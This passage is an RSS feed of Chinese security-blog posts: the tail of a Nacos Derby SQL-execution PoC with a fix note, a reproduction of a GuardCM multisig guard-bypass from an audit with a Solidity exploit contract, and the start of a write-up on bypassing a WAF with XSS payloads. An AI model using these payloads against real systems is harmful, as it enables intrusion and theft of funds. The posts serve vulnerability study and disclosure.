&#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">select * from (select count(*) as b, S_EXAMPLE_{id}(&#39;{command}&#39;) as a from config_info) tmp /*ROWS FETCH NEXT*/</code></p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">这个时候就产生了一个问题，为什么通过<code style="padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">/nacos/v1/cs/ops/data/removal</code> 已经能执行sql语句了，为什么还要用<code style="padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">/nacos/v1/cs/ops/derby</code>这个接口来执行select语句。</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">因为这里执行语句的是<code style="padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">template.batchUpdate</code>函数，只能执行update相关语句无法执行select语句。</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">derby接口执行语句是用的<code style="padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">template.queryForList</code>所以可以执行select语句</p><h2 style="margin: 80px 10px 40px;letter-spacing: normal;text-wrap: wrap;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;">修复措施</h2><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">看官方的最新的代码，应该是默认禁用derby数据库了</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-imgfileid="100002033" data-ratio="0.5" title="null" data-type="png" data-w="2684" style="margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 355px;" src="https://wechat2rss.xlab.app/img-proxy/?k=7da48d36&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1cicoZicmxMRT2JxpMVuJ88bOAeFYDCvseBHd83FVHzMiaEXmrmp7Vwrp7vZjzq4aW0icIwuKoianBEgUQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">通过docker搭建一个最新版运行一下</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><code style="padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">docker run --name nacos-quick -e MODE=standalone -p 8849:8848 -d nacos/nacos-server:2.0.2</code></p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">执行poc 确实已经关闭了</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-imgfileid="100002029" data-ratio="0.07719298245614035" title="null" data-type="png" data-w="1710" style="margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 355px;" src="https://wechat2rss.xlab.app/img-proxy/?k=47166f39&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1cicoZicmxMRT2JxpMVuJ88bOOSpuyrfSibkU3f10ZdU0VKo3KlicHS8FIxddS0dpJmG6COgXMfyFhc6Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485685">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e6cb3ca8&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU5MTExMjYwMA%3D%3D%26mid%3D2247485685%26idx%3D1%26sn%3D41fef7adb41d79dee22e702880262df9%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 29 Jul 2024 00:06:00 +0800</pubDate>
    </item>
    <item>
      <title>智能合约漏洞复现-特权提升漏洞</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU5MTExMjYwMA==&amp;mid=2247485676&amp;idx=1&amp;sn=240a4c171ff8035b83dfd2781ebec314</link>
      <description>本文为根据0xEVom的审计报告对漏洞进行的梳理和复现。这位小哥在对Olas合约的审计中获得了$29,515.84</description>
      <content:encoded><![CDATA[<p>
原创 <span>kkk mr</span> <span>2024-03-21 21:42</span> <span style="display: inline-block;">浙江</span>
</p>

<p>本文为根据0xEVom的审计报告对漏洞进行的梳理和复现。这位小哥在对Olas合约的审计中获得了$29,515.84</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=122db2ae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FnoZJ3Kqbu1cXyDCwLUnN28YtgGicODrmaVwq62iaMtWRpmib8YZw17HZrjdAvTyVHWeibGUmtn1r3mUAIoVF9bCib6g%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">源码地址:</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><a href="https://github.com/code-423n4/2023-12-autonolas" target="_blank">https://github.com/code-423n4/2023-12-autonolas</a></p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">安全审计报告:</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><a href="https://github.com/0xEVom/audits/blob/main/code4rena/2023-12-autonolas.md" target="_blank">https://github.com/0xEVom/audits/blob/main/code4rena/2023-12-autonolas.md</a></p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">本文为根据0xEVom的审计报告对漏洞进行的梳理和复现。这位小哥在对Olas合约的审计中获得了$29,515.84</p><h2 style="margin: 80px 10px 40px;letter-spacing: normal;text-wrap: wrap;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;">GuardCM.sol</h2><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">合约文件: <code style="padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">governance/contracts/multisigs/GuardCM.sol</code></p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">根据项目中的<code style="padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">governance/test/GuardCM.js</code>文件来看,整体结构如下:</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-imgfileid="100002020" data-ratio="0.5157407407407407" title="null" data-type="png" data-w="1080" style="margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 355px;" src="https://wechat2rss.xlab.app/img-proxy/?k=21cd0ffc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1cXyDCwLUnN28YtgGicODrmaK7wCoF1xvU1jpjywPq23icEpdbFibUSV7hIrk2xX6EUF7ZQEVgWibIvDQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">GuardCM实现了GnosisSafe合约中的安全检查功能。</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-imgfileid="100002024" data-ratio="0.9907407407407407" title="null" data-type="png" data-w="1080" style="margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 355px;" src="https://wechat2rss.xlab.app/img-proxy/?k=5c4e17ef&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1cXyDCwLUnN28YtgGicODrmaUT6uIPgqQkGSpM9EvqcLyle1ljR7HZrjTLgpGqtLicggJ8ibjSnJ6S5A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">而GnosisSafe是一个多签钱包的智能合约，在通过GnosisSafe合约执行交易的时候，会通过调用Guard的checkTransaction来进行检查，如果再<code style="padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">checkTransaction</code>中没有发生<code style="padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">revert</code>,则执行交易<code style="padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">execute</code></p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-imgfileid="100002023" data-ratio="0.8194444444444444" title="null" data-type="png" data-w="1080" style="margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 355px;" src="https://wechat2rss.xlab.app/img-proxy/?k=f1ca0475&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1cXyDCwLUnN28YtgGicODrmacNYpYicrSXhLHEMS3XSlFgBy8J5icQnWT08BOlibQJSibeLOpBRuh3GxaQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">在checkTransaction函数中主要逻辑是，如果目标地址是timelock，那么不允许进行delegatecall操作，并且只允许执行timelock中的<code style="padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">SCHEDULE</code>和<code style="padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">SCHEDULE_BATCH</code>两个函数，如果目标地址是GnosisSafe则直接revert。</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">但是这里存在一个问题，只有在对timelock和GnosisSafe进行delegatecall的才会revert。</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">在execTransaction函数中，如果guard地址不等于0，才会进行checkTransaction</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">guard是通过setGurad函数在合约部署的时候就进行设置的</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-imgfileid="100002022" data-ratio="0.46574074074074073" title="null" data-type="png" data-w="1080" style="margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 355px;" src="https://wechat2rss.xlab.app/img-proxy/?k=be91edef&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1cXyDCwLUnN28YtgGicODrmaj0AqrTslXaUicSUbZNWFzjSWV1ianhXoxGZkffKA90QoxiasXfaVj5f8w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-imgfileid="100002021" data-ratio="0.49166666666666664" title="null" data-type="png" data-w="1080" style="margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 355px;" src="https://wechat2rss.xlab.app/img-proxy/?k=225d36c6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1cXyDCwLUnN28YtgGicODrmaR5b49cUyaYOnl44Oz3k2LicfSxU81ubor66xmAQiauic9RPy8YwzoSPQg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">但是checkTransaction函数中有一个非常严重的问题就是，没有限制对第三方合约进行delegatecall。</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">所以可以通过部署恶意合约，然后调用GnosisSafe的函数进行执行，将Gurad设置为空地址。绕过checkTransaction函数对合约交互的检查。</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">利用方式如下:</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">1.部署合约</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang=""><code><span class="code-snippet_outer">pragma solidity ^0.8.0;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">contract DelegatecallExploitContract {</span></code><code><span class="code-snippet_outer">    bytes32 internal constant GUARD_STORAGE_SLOT = 0x4a204f620c8c5ccdca3fd54d003badd85ba500436a431f0cbda4f558c93c34c8;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    function deleteGuardStorage() public {</span></code><code><span class="code-snippet_outer">        assembly {</span></code><code><span class="code-snippet_outer">            sstore(GUARD_STORAGE_SLOT, 0)</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">2.调用execTransaction函数执行</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">3.调用timelock执行对Gura合约的pause函数delegatecall，因为guard==address(0)执行成功</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">造成特权升级漏洞</p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485676">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=965839be&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU5MTExMjYwMA%3D%3D%26mid%3D2247485676%26idx%3D1%26sn%3D240a4c171ff8035b83dfd2781ebec314%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 21 Mar 2024 21:42:00 +0800</pubDate>
    </item>
    <item>
      <title>在input标签中如何绕过waf?</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU5MTExMjYwMA==&amp;mid=2247485667&amp;idx=1&amp;sn=8d72704724fb514db2dc68d787fff366</link>
      <description>在input标签中如何绕过waf?</description>
      <content:encoded><![CDATA[<p>
原创 <span>k</span> <span>2024-01-23 00:36</span> <span style="display: inline-block;">浙江</span>
</p>

<p>在input标签中如何绕过waf?</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=ddb1c8cc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FnoZJ3Kqbu1cc9PE1vsibjicYTxySc15tnog9DVPLf8RSpwic59YxmXxn88Fq7mQo9c2hh6S8jeUau1aQdjE1VhyYQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">在几个星期以前，我碰到了一个xss 漏洞</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">url: <a href="https://target.com/?product_name=test" target="_blank">https://target.com/?product_name=test</a></p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">在源码中显示的是</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="html"><code><span class="code-snippet_outer">&lt;input type=&#34;text&#34; name=&#34;product_name&#34; id=&#34;product_name&#34; value=&#34;test&#34;  style=&#34;height: 25px; width: 200px;&#34;&gt;</span></code></pre></section><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">尝试直接注入script标签，来进行利用</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><code style="padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;"><a href="https://target.com/?product_name=test" target="_blank">https://target.com/?product_name=test</a>&#34;&lt;script&gt;alert(1)&lt;/script&gt;&lt;</code></p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">但是waf直接给script过滤了</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="html"><code><span class="code-snippet_outer">&lt;input type=&#34;text&#34; name=&#34;product_name&#34; id=&#34;product_name&#34; value=&#34;test&#34;  style=&#34;height: 25px; width: 200px;&#34;&gt;</span></code></pre></section><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">我尝试了很多其他payload，比如img等等，但是都直接被waf过滤了。</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">但是我发现这个标签是在input标签中的，于是我想到了<code style="padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">onmouseover</code> 事件来进行利用</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">onmouseover事件会在鼠标指针 移动到指定的对象上时触发事件发生</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">payload如下:</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><code style="padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;"><a href="https://target.com/?product_name=test" target="_blank">https://target.com/?product_name=test</a>&#34;%20oNmOuSeOvEr=prompt(1)//&gt;</code></p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, 